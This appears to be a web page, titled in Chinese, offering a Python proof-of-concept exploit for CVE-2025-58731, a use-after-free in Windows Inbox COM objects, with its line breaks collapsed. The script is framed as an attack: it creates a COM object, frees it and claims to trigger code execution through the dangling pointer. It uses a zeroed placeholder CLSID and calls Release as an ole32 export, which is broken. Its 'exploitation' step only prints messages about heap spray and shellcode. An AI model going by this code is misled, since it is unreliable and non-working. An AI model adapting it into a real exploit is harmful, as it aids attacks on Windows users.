CVE-2025-58731：Windows Inbox COM对象释放后使用漏洞

# CVE-2025-58731 - Windows Inbox COM Objects Use After Free PoC # This is a conceptual PoC demonstrating the vulnerability exploitation pattern. # Actual exploitation requires specific memory layout control and timing. import ctypes import sys import os # Step 1: Define necessary Windows API constants and structures from ctypes import wintypes, POINTER, byref, c_void_p, c_size_t, c_uint, c_ulonglong CLSID_InboxCOMObject = b'\x00' * 16 # Placeholder CLSID for the vulnerable Inbox COM object IID_IUnknown = b'\x00' * 16 # Standard IUnknown interface ID # Step 2: Initialize COM library def init_com(): """Initialize the COM library for the calling thread.""" COINIT_APARTMENTTHREADED = 0x2 ole32 = ctypes.windll.ole32 hr = ole32.CoInitializeEx(None, COINIT_APARTMENTTHREADED) if hr < 0: raise OSError(f"CoInitializeEx failed: 0x{hr:08x}") return ole32 # Step 3: Create an instance of the vulnerable Inbox COM object def create_vulnerable_object(ole32): """Create an instance of the vulnerable Inbox COM object.""" CLSCTX_INPROC_SERVER = 0x1 p_unknown = c_void_p() hr = ole32.CoCreateInstance( CLSID_InboxCOMObject, None, CLSCTX_INPROC_SERVER, IID_IUnknown, byref(p_unknown) ) if hr < 0 or not p_unknown.value: raise OSError(f"CoCreateInstance failed: 0x{hr:08x}") return p_unknown # Step 4: Trigger the Use After Free condition def trigger_uaf(p_unknown, ole32): """ Trigger the UAF by releasing the COM object but retaining a dangling pointer. After release, the memory is freed but the pointer still references it. """ # Release the COM object (decrement ref count to 0, freeing the object) ole32.Release(p_unknown) # NOTE: p_unknown is now a dangling pointer - the object has been freed # but we still have a reference to the freed memory region. return p_unknown # Step 5: Exploit the freed memory region def exploit_uaf(p_dangling, ole32):n """ Re-allocate the freed memory with controlled data and trigger code execution through the dangling pointer. """ # In a real exploit, heap spray or controlled allocation would # fill the freed memory with attacker-controlled data (e.g., shellcode # or a fake vtable pointing to malicious code). print(f"[*] Dangling pointer at: 0x{p_dangling.value:x}") print("[*] In a real exploit, heap spray would place shellcode here.") print("[*] Calling method on freed object to trigger code execution...") # Attempting to call a method on the freed object would execute # attacker-controlled code if the heap has been manipulated. # This is where the arbitrary code execution occurs. # Main exploitation flow if __name__ == "__main__": print("[*] CVE-2025-58731 PoC - Windows Inbox COM UAF") print("[*] WARNING: This is for educational/research purposes only.") try: ole32 = init_com() print("[+] COM initialized successfully") p_obj = create_vulnerable_object(ole32) print(f"[+] Vulnerable COM object created at: 0x{p_obj.value:x}") p_dangling = trigger_uaf(p_obj, ole32) print("[+] UAF condition triggered (object freed, pointer retained)") exploit_uaf(p_dangling, ole32) print("[+] Exploitation attempt completed") ole32.CoUninitialize() except OSError as e: print(f"[-] Error: {e}") sys.exit(1) except Exception as e: print(f"[-] Unexpected error: {e}") sys.exit(1)